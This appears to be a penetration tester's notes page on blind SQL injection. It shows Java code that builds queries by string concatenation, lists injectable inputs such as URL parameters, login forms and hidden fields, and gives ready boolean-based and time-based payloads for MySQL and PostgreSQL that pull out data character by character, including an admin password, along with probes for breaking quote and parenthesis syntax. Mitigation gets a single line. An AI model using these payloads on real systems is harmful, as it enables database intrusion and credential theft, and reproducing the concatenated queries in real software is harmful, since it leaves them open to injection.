Vulnerable Code
Developers often fail to parameterize input used for data filtering. You must identify if your input lands inside an Integer Context (no quotes) or a String Context (wrapped in quotes), as this dictates your escape sequence.
// Vulnerable Context 1: Integer (No escaping needed)
String userId = request.getParameter(“id”);
String query1 = “SELECT username, role FROM users WHERE id = ” + userId;
// Vulnerable Context 2: String (Requires ' to escape)
String category = request.getParameter(“category”);
String query2 = “SELECT name, price FROM products WHERE category = ’” + category + ”’“;
**Where To Look For The Vulnerability**
Look for any feature that filters, searches, or retrieves specific records.
- **URL Parameters:** `?id=5`, `?category=books`, `?author_id=2`
- **Authentication Forms:** Login pages (`username` and `password` fields).
- **API Endpoints:** JSON bodies like `{"userId": 105}`
- **Hidden Fields:** State trackers or session parameters passed in POST requests.
Exploitations
The payloads below assume an Integer Context. If you are in a String Context, prefix the payloads with ' to close the developer’s string, and ensure you append -- or # (depending on the SQL engine) to comment out their trailing quote.
Append AND / OR conditions to ask the database True/False questions.
-- Syntax: [Valid ID] AND ([Your Condition])---- Example: Checking if the admin password starts with 'A' (ASCII 65)1 AND (ASCII(SUBSTRING(({query}), 1, 1)) = 65)--
-- Syntax: [Valid ID] AND (IF/CASE Statement with Sleep)---- MySQL: If the first char is 'A', sleep 5 seconds1 AND IF(ASCII(SUBSTRING(({query}), 1, 1))=65, SLEEP(5), 0)---- PostgreSQL:1 AND (SELECT CASE WHEN (ASCII(SUBSTRING(({query}), 1, 1))=65) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
Note: Before dropping payloads, test how to cleanly break the syntax without causing a fatal 500 error.
Integer:id=1→ Inject directly: id=1 AND 1=1
String:name='admin'→ Close quote: name=admin' AND 1=1--
Parentheses:id=(1)→ Close parenthesis: id=1) AND 1=1--
String + Parentheses:name=('admin')→ Close both: name=admin') AND 1=1--
Mitigation
Fix: Use Prepared Statements
Related Usage
TABLE creation_date AS "Created" FROM "05 - Content" WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") SORT file.name ASC